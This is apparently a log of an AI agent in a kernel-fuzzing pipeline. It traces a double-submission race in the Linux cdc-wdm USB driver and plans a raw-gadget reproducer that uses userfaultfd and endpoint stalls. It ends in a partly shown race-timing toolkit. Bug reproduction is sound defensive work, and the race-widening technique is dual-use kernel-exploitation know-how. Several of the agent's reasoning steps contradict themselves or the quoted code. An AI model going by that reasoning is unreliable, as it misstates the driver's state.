SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 57/5 |
2026/09/11 22:08 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 7527
output: 82
thoughts: 62
Thoughts: **My Thought Process Regarding WDM Interrupt Handling and RX Work Scheduling**
Right, so my initial thought here is about how the `wdm_int_callback()` function addresses the `-EPIPE` error. I recall it specifically handles this by setting the `WDM_INT_STALL` flag and then branching to a label, effectively `sw:`, which in turn triggers the scheduling of `desc->rxwork`.
My next step in this line of reasoning is to delve deeper into what happens *after* `desc->rxwork` is scheduled. I need to thoroughly examine the execution paths within `wdm_rxwork()` itself, as well as the `service_outstanding_interrupt()` function. Understanding these subsequent steps is crucial for a complete picture of how the system recovers from or responds to an `-EPIPE` condition in the context of WDM interrupts. I'm essentially tracing the flow to see how the scheduled work is processed and what impact it has on the overall interrupt servicing.
|
| 58/5 |
2026/09/11 22:08 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_rxwork]
Results: map[SourceCode: 982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 59/5 |
2026/09/11 22:08 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:service_outstanding_interrupt]
Results: map[SourceCode: 485: /*
486: * Submit the read urb if resp_count is non-zero.
487: *
488: * Called with desc->iuspin locked
489: */
490: static int service_outstanding_interrupt(struct wdm_device *desc)
491: {
492: int rv = 0;
493:
494: /* submit read urb only if the device is waiting for it */
495: if (!desc->resp_count || !--desc->resp_count)
496: goto out;
497:
498: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
499: rv = -ENODEV;
500: goto out;
501: }
502: if (test_bit(WDM_RESETTING, &desc->flags)) {
503: rv = -EIO;
504: goto out;
505: }
506:
507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
512: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
513: dev_err(&desc->intf->dev,
514: "usb_submit_urb failed with result %d\n", rv);
515:
516: /* make sure the next notification trigger a submit */
517: clear_bit(WDM_RESPONDING, &desc->flags);
518: desc->resp_count = 0;
519: }
520: out:
521: return rv;
522: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 60/5 |
2026/09/11 22:08 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 8682
output: 42
thoughts: 412
Thoughts: **My Thought Process Regarding the Race Condition**
I've been analyzing a specific race condition scenario that can occur within this driver. My understanding is that the core of the problem lies in the interleaving of two distinct code paths: the `wdm_rxwork()` function and the `service_outstanding_interrupt()` function, which is itself invoked by `wdm_read()`.
The critical state I'm trying to achieve is `desc->resp_count` being 2 and `WDM_RESPONDING` being 0. This specific combination is what allows both paths to proceed with submitting a `usb_submit_urb(desc->response, GFP_KERNEL)` call concurrently.
Let's break down how I envision this happening:
1. **Initial State:** The system starts with `desc->resp_count` at 2 and `WDM_RESPONDING` at 0. This is the precondition for the race.
2. **`wdm_rxwork()` Execution:**
* The `wdm_rxwork()` function begins.
* It immediately sets `WDM_RESPONDING` to 1.
* It then drops the `iuspin` spinlock.
* Crucially, it prepares to call `usb_submit_urb(desc->response, GFP_KERNEL)`. At this point, it hasn't actually *submitted* the URB yet, but it's poised to do so.
3. **`service_outstanding_interrupt()` Execution (Intervening):**
* Simultaneously, or just after `wdm_rxwork()` drops `iuspin`, the `service_outstanding_interrupt()` function is called. My analysis indicates this would be triggered by `wdm_read()`, and it's important to note that `iuspin` is held *when this function is entered*.
* Inside `service_outstanding_interrupt()`, the check `!desc->resp_count || !--desc->resp_count` is performed. Since I'm assuming `desc->resp_count` is 2 at this point, the `--desc->resp_count` will decrement it to 1. The condition is then false, so the function continues.
* It then attempts to set `WDM_RESPONDING` to 1 using `set_bit`. It's important to note that `set_bit` doesn't check the current state before setting; it just sets the bit. So, even though `WDM_RESPONDING` is already 1 (set by `wdm_rxwork()`), this operation effectively just re-sets it to 1.
* Next, it drops `iuspin`.
* Finally, it also calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
4. **The Concurrency:** Because both `wdm_rxwork()` and `service_outstanding_interrupt()` independently call `usb_submit_urb(desc->response, GFP_KERNEL)` after dropping the necessary spinlocks, and because the state `desc->resp_count = 2` and `WDM_RESPONDING = 0` was initially established, I see how two separate `response` URBs can be submitted concurrently.
Now, let me consider how I would *engineer* this specific state (`desc->resp_count` to 2 and `WDM_RESPONDING` to 0) in the first place, leading to this race. My hypothesis is as follows:
1. **First Notification:** The gadget side sends a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification.
* This would result in `desc->resp_count` being incremented to 1.
* `WDM_RESPONDING` would be set to 1.
* The `usb_submit_urb(desc->response)` call would be made.
2. **Second Notification (The Critical Moment):** The gadget side *then* sends a *second* `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification.
* This second notification increments `desc->resp_count` to 2.
* However, `WDM_RESPONDING` is *already* 1 from the first notification. The logic here, as I understand it, doesn't trigger another `usb_submit_urb` call if `WDM_RESPONDING` is already set. This leaves us in the state where `desc->resp_count` is 2, but `WDM_RESPONDING` is still 1 (and *not* 0 as initially stated in my target state). This is a crucial refinement to my initial thought. The race condition as described occurs when `WDM_RESPONDING` is *already* 1, and `desc->resp_count` increments to 2.
3. **Gadget Responds:** Subsequently, the gadget side responds to the *first* `desc->response` URB that was submitted.
* This triggers the `wdm_in_callback()` function.
My analysis suggests that the initial premise of needing `WDM_RESPONDING` to be 0 is flawed for the *start* of the race. The race condition arises from `desc->resp_count` reaching 2 *while* `WDM_RESPONDING` is *already* 1, and then both `wdm_rxwork()` and `service_outstanding_interrupt()` proceeding to submit URBs. The key is that `wdm_rxwork()` initiates its URB submission logic, and then `service_outstanding_interrupt()` also initiates its URB submission logic, with the state of `desc->resp_count` being 2. The state `WDM_RESPONDING` being 0 is more of an initial condition that *allows* `wdm_rxwork` to proceed, but the race then occurs because `service_outstanding_interrupt` also gets to the submission step.
This understanding clarifies how the double submission can occur, where the second notification doesn't submit an URB but increments the count, setting the stage for the two distinct execution paths to both attempt submission.
|
| 61/5 |
2026/09/11 22:09 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_in_callback]
Results: map[SourceCode: 167: static void wdm_in_callback(struct urb *urb)
168: {
169: unsigned long flags;
170: struct wdm_device *desc = urb->context;
171: int status = urb->status;
172: int length = urb->actual_length;
173:
174: spin_lock_irqsave(&desc->iuspin, flags);
175: clear_bit(WDM_RESPONDING, &desc->flags);
176:
177: if (status) {
178: switch (status) {
179: case -ENOENT:
180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 62/5 |
2026/09/11 22:09 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 10358
output: 40
thoughts: 76
Thoughts: **My Internal State Update and User Interaction Flow**
Ah, so that `wdm_in_callback` function just executed. My primary takeaway is that it's systematically cleaning up the `WDM_RESPONDING` state. It's crucial because it frees up resources and signals that the current response handling is complete.
Following that cleanup, the immediate actions are clear: it's copying the relevant data into `desc->ubuf`. This is where the actual payload of the response gets stored for eventual user consumption. Simultaneously, it's flipping the `WDM_READ` flag. This signals to the system that the data is ready to be read by the user.
The next logical step is waking up `desc->wait`. This is the mechanism by which any blocked processes or threads waiting for this data are notified. They can then proceed with their work, which in this context, I anticipate will be a userspace `read()` operation.
Looking at the specific state variables, I see that `desc->resp_count` has now been incremented to 2. This suggests a count of completed response segments or some form of internal tracking related to responses. Concurrently, `WDM_RESPONDING` has been cleared to 0, reinforcing the idea that the active response handling is indeed finished.
The direct consequence of this entire sequence is that a userspace `read()` call, which was likely waiting on the `desc->wait` condition, will now be unblocked. It will then proceed to attempt to read the data that was just placed into `desc->ubuf`.
|
| 63/5 |
2026/09/11 22:09 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_read]
Results: map[SourceCode: 524: static ssize_t wdm_read
525: (struct file *file, char __user *buffer, size_t count, loff_t *ppos)
526: {
527: int rv, cntr;
528: int i = 0;
529: struct wdm_device *desc = file->private_data;
530:
531:
532: rv = mutex_lock_interruptible(&desc->rlock); /*concurrent reads */
533: if (rv < 0)
534: return -ERESTARTSYS;
535:
536: cntr = READ_ONCE(desc->length);
537: smp_rmb(); /* against wdm_in_callback() */
538: if (cntr == 0) {
539: desc->read = 0;
540: retry:
541: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
542: rv = -ENODEV;
543: goto err;
544: }
545: if (test_bit(WDM_OVERFLOW, &desc->flags)) {
546: clear_bit(WDM_OVERFLOW, &desc->flags);
547: rv = -ENOBUFS;
548: goto err;
549: }
550: i++;
551: if (file->f_flags & O_NONBLOCK) {
552: if (!test_bit(WDM_READ, &desc->flags)) {
553: rv = -EAGAIN;
554: goto err;
555: }
556: rv = 0;
557: } else {
558: rv = wait_event_interruptible(desc->wait,
559: test_bit(WDM_READ, &desc->flags));
560: }
561:
562: /* may have happened while we slept */
563: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
564: rv = -ENODEV;
565: goto err;
566: }
567: if (test_bit(WDM_RESETTING, &desc->flags)) {
568: rv = -EIO;
569: goto err;
570: }
571: usb_mark_last_busy(interface_to_usbdev(desc->intf));
572: if (rv < 0) {
573: rv = -ERESTARTSYS;
574: goto err;
575: }
576:
577: spin_lock_irq(&desc->iuspin);
578:
579: if (desc->rerr) { /* read completed, error happened */
580: rv = usb_translate_errors(desc->rerr);
581: desc->rerr = 0;
582: spin_unlock_irq(&desc->iuspin);
583: goto err;
584: }
585: /*
586: * recheck whether we've lost the race
587: * against the completion handler
588: */
589: if (!test_bit(WDM_READ, &desc->flags)) { /* lost race */
590: spin_unlock_irq(&desc->iuspin);
591: goto retry;
592: }
593:
594: cntr = desc->length;
595: spin_unlock_irq(&desc->iuspin);
596: }
597:
598: if (cntr > count)
599: cntr = count;
600: rv = copy_to_user(buffer, desc->ubuf, cntr);
601: if (rv > 0) {
602: rv = -EFAULT;
603: goto err;
604: }
605:
606: spin_lock_irq(&desc->iuspin);
607:
608: for (i = 0; i < desc->length - cntr; i++)
609: desc->ubuf[i] = desc->ubuf[i + cntr];
610:
611: desc->length -= cntr;
612: /* in case we had outstanding data */
613: if (!desc->length) {
614: clear_bit(WDM_READ, &desc->flags);
615: service_outstanding_interrupt(desc);
616: }
617: spin_unlock_irq(&desc->iuspin);
618: rv = cntr;
619:
620: err:
621: mutex_unlock(&desc->rlock);
622: return rv;
623: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 64/5 |
2026/09/11 22:09 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 11898
output: 48
thoughts: 1247
Thoughts: **The Critical Race to Dual `usb_submit_urb` Calls**
My thought process has led me to identify a particularly thorny race condition within the `cdc-wdm` driver, centered around the `WDM_RESPONDING` flag and concurrent `usb_submit_urb` calls.
It begins with the `wdm_read` function. My initial thought was that by leveraging `userfaultfd`, I could intentionally block `wdm_read` during its `copy_to_user` operation. This blocking, I reasoned, would allow me to orchestrate a specific sequence of events. Specifically, while `wdm_read` is held up in `copy_to_user`, I could trigger a STALL on the interrupt IN endpoint (ep1). The expected consequence of this STALL is that the `wdm_int_callback` would receive an `-EPIPE` error. This error, in turn, would set the `WDM_INT_STALL` flag and schedule the `desc->rxwork` workqueue item.
When `wdm_rxwork` eventually runs, it acquires the `iuspin` lock, sets `WDM_RESPONDING` to 1 (using `test_and_set_bit`), and then releases the lock. If `WDM_RESPONDING` was not previously set, it proceeds to call `usb_submit_urb` with the response URB. This is where my initial understanding started to fray.
The crucial insight came when I re-examined `service_outstanding_interrupt`. This function, called by the user thread (Thread A) after it resolves the `userfaultfd` fault and `copy_to_user` completes, *also* attempts to submit a response URB. The problem is that `service_outstanding_interrupt` checks `desc->resp_count`, decrements it, and *then* unconditionally sets the `WDM_RESPONDING` bit and calls `usb_submit_urb`. It *doesn't* check if `WDM_RESPONDING` was already set by `wdm_rxwork`.
This reveals the core of the race:
1. **Scenario A (My initial worry):** If `wdm_rxwork` successfully sets `WDM_RESPONDING` and calls `usb_submit_urb`, and then `service_outstanding_interrupt` also acquires the lock, finds `WDM_RESPONDING` is already set (which it would be if `wdm_rxwork` ran first), it would *not* submit. This seemed like a potential safeguard.
2. **Scenario B (The actual problem):** My deeper analysis shows that `wdm_rxwork` releases `iuspin` *before* submitting the URB. `service_outstanding_interrupt`, on the other hand, acquires `iuspin`, sets `WDM_RESPONDING`, drops `iuspin`, and *then* submits. Crucially, if `wdm_rxwork` is delayed *after* it has set `WDM_RESPONDING` but *before* it calls `usb_submit_urb` (e.g., due to preemption or another task), `service_outstanding_interrupt` can execute. It will acquire the lock, see `WDM_RESPONDING` is already set (which is fine, it just means it's still 1), drop the lock, and submit its URB. Then, when `wdm_rxwork` finally resumes, it will also submit its URB.
This creates a scenario where *both* `wdm_rxwork` and `service_outstanding_interrupt` can independently call `usb_submit_urb` for the response, leading to a double submission, which is a serious bug. The condition where `service_outstanding_interrupt` sets the bit first, and `wdm_rxwork` then sees `responding == 1` and *doesn't* submit, is only one half of the coin; the other half, where `wdm_rxwork` sets it, releases the lock, and then `service_outstanding_interrupt` sets it *again* (without checking its prior state) and submits, is the real danger.
To make this concrete, I've refined the sequence of events leading to this race:
1. The setup involves initializing the raw-gadget and binding to CDC WDM.
2. The gadget needs to send a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1, followed by a control read response on ep0, and then *another* `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` on ep1.
3. The host responds to the control read on ep0 and then clears `WDM_RESPONDING`, crucially waking up the blocked `wdm_read` path.
4. My user-space thread (Thread A) initiates a `read(/dev/cdc-wdm0, ...)` operation, which hits a `userfaultfd` page fault and blocks in `copy_to_user`.
5. At this opportune moment, I send a STALL on ep1 (Interrupt IN).
6. The STALL is received by the host as `-EPIPE`, leading to `wdm_int_callback` scheduling `wdm_rxwork`.
7. *Crucially*, I allow enough time for `wdm_rxwork` to start, acquire `iuspin`, set `WDM_RESPONDING`, and crucially, *drop* `iuspin`.
8. Then, the `userfaultfd` page fault is resolved, allowing `wdm_read` to complete `copy_to_user`.
9. `wdm_read` then calls `service_outstanding_interrupt`. This function, as identified, acquires `iuspin` (which is now free), sets `WDM_RESPONDING` (which is already set, but that's okay), releases `iuspin`, and calls `usb_submit_urb`.
10. Immediately following, or concurrently, the scheduled `wdm_rxwork` resumes its execution, also proceeds to call `usb_submit_urb`.
The missing piece for me initially was how to reliably send a STALL on ep1 using raw-gadget. I've since confirmed that `USB_RAW_IOCTL_EP_SET_HALT` is the mechanism for this. This entire sequence highlights a classic race condition where the order of operations between `wdm_rxwork` and `service_outstanding_interrupt` after the `iuspin` lock is released dictates whether `usb_submit_urb` is called once or twice.
|
| 65/5 |
2026/09/11 22:09 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_halt]
Results: map[SourceCode: SourceFile:]
|
| 66/5 |
2026/09/11 22:09 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13198
output: 42
thoughts: 18
Thoughts: **My Thought Process on `raw_ioctl` in `raw_gadget.c`**
Alright, so the first thing on my mind is to dive into the `raw_ioctl` function within `raw_gadget.c`. My immediate goal here is to understand its precise role and how it interacts with the rest of the gadget driver framework. I'm expecting it to be a critical junction, likely handling the user-space interface for configuring and controlling the raw USB gadget functionality.
I'll be looking for the various `ioctl` commands that this function is designed to process. For each command, I need to map it to the specific actions being taken within the kernel. This means tracing the flow of data, understanding what parameters are expected, and what the expected side effects are on the USB gadget's state.
My primary focus will be on the *state management* aspect. How does `raw_ioctl` update the internal state of the raw gadget? Does it deal with setting up endpoints, configuring transfer types, or perhaps managing the data buffers? I'll be scrutinizing the data structures it manipulates and ensuring I have a clear picture of how they reflect the desired configuration.
I'll also be paying close attention to *error handling*. What are the potential failure points? How are these errors communicated back to user space? Understanding this is crucial for robustness and for debugging any issues that might arise when interacting with the gadget from an application.
Furthermore, I'll be assessing the *security implications*. Are there any potential vulnerabilities introduced by the `ioctl` interface? Am I properly validating all inputs from user space to prevent any malicious manipulation of the gadget's behavior?
Finally, I'll want to confirm that the `raw_ioctl` implementation aligns with the broader USB specifications and the expectations of the gadget driver architecture. This involves ensuring it correctly translates user-space requests into the appropriate low-level USB operations. Essentially, I'm trying to build a comprehensive mental model of this function's behavior, its dependencies, and its role in the overall functionality of the raw gadget.
|
| 67/5 |
2026/09/11 22:09 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl]
Results: map[SourceCode:1294: static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
1295: {
1296: struct raw_dev *dev = fd->private_data;
1297: int ret = 0;
1298:
1299: if (!dev)
1300: return -EBUSY;
1301:
1302: switch (cmd) {
1303: case USB_RAW_IOCTL_INIT:
1304: ret = raw_ioctl_init(dev, value);
1305: break;
1306: case USB_RAW_IOCTL_RUN:
1307: ret = raw_ioctl_run(dev, value);
1308: break;
1309: case USB_RAW_IOCTL_EVENT_FETCH:
1310: ret = raw_ioctl_event_fetch(dev, value);
1311: break;
1312: case USB_RAW_IOCTL_EP0_WRITE:
1313: ret = raw_ioctl_ep0_write(dev, value);
1314: break;
1315: case USB_RAW_IOCTL_EP0_READ:
1316: ret = raw_ioctl_ep0_read(dev, value);
1317: break;
1318: case USB_RAW_IOCTL_EP_ENABLE:
1319: ret = raw_ioctl_ep_enable(dev, value);
1320: break;
1321: case USB_RAW_IOCTL_EP_DISABLE:
1322: ret = raw_ioctl_ep_disable(dev, value);
1323: break;
1324: case USB_RAW_IOCTL_EP_WRITE:
1325: ret = raw_ioctl_ep_write(dev, value);
1326: break;
1327: case USB_RAW_IOCTL_EP_READ:
1328: ret = raw_ioctl_ep_read(dev, value);
1329: break;
1330: case USB_RAW_IOCTL_CONFIGURE:
1331: ret = raw_ioctl_configure(dev, value);
1332: break;
1333: case USB_RAW_IOCTL_VBUS_DRAW:
1334: ret = raw_ioctl_vbus_draw(dev, value);
1335: break;
1336: case USB_RAW_IOCTL_EPS_INFO:
1337: ret = raw_ioctl_eps_info(dev, value);
1338: break;
1339: case USB_RAW_IOCTL_EP0_STALL:
1340: ret = raw_ioctl_ep0_stall(dev, value);
1341: break;
1342: case USB_RAW_IOCTL_EP_SET_HALT:
1343: ret = raw_ioctl_ep_set_clear_halt_wedge(
1344: dev, value, true, true);
1345: break;
1346: case USB_RAW_IOCTL_EP_CLEAR_HALT:
1347: ret = raw_ioctl_ep_set_clear_halt_wedge(
1348: dev, value, false, true);
1349: break;
1350: case USB_RAW_IOCTL_EP_SET_WEDGE:
1351: ret = raw_ioctl_ep_set_clear_halt_wedge(
1352: dev, value, true, false);
1353: break;
1354: default:
1355: ret = -EINVAL;
1356: }
1357:
1358: return ret;
1359: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 68/5 |
2026/09/11 22:09 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 14289
output: 52
thoughts: 42
Thoughts: **Confirmation of `USB_RAW_IOCTL_EP_SET_HALT` and Structural Inquiry**
My immediate thought upon encountering the query about `USB_RAW_IOCTL_EP_SET_HALT` is a direct affirmation: Yes, this ioctl *does* exist within the relevant USB raw I/O interface. There's no ambiguity there.
Following this initial confirmation, my next mental step, as an expert deeply familiar with the intricacies of such low-level interfaces, is to pivot to the structural details. It's not enough to simply know *that* an ioctl exists; the critical information lies in *how* it's defined and *what* data it expects or returns. Therefore, my subsequent focus is on thoroughly examining the structure associated with `USB_RAW_IOCTL_EP_SET_HALT`. This involves scrutinizing its members, their data types, and their intended purpose within the ioctl's operation. Understanding this structure is paramount to correctly invoking the ioctl and interpreting its results.
|
| 69/5 |
2026/09/11 22:10 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 70/5 |
2026/09/11 22:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 15472
output: 16
thoughts: 134
Thoughts: **My Thought Process Regarding the USB Raw IOCTL and Reproducer Development**
Okay, so my initial thought here is that the `value` parameter in this context is surprisingly straightforward – it's just the endpoint index, which is represented by `i`. This means that a call to `ioctl(fd, USB_RAW_IOCTL_EP_SET_HALT, ep_index)` is precisely what I need to achieve the desired outcome of halting a specific endpoint. It’s good to have that clarified right away.
Now, the crucial next step is figuring out how to construct a reliable reproducer. This isn't going to be a simple compile-and-run situation. I'm going to need a raw-gadget program, and I have a couple of options in mind. The `syz-usbgen` approach is an possibility, but given the specific requirements of this task – particularly the need for `userfaultfd` and precise timing control – I'm leaning heavily towards writing a custom C program. That will give me the granular control I need to orchestrate the events precisely.
My next line of inquiry is to investigate the `race` toolkit. I'm hoping it might offer some helpful `userfaultfd` helpers, which would significantly streamline the development of the custom C program. If those helpers exist, it could save me a considerable amount of low-level implementation work.
|
| 71/5 |
2026/09/11 22:10 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
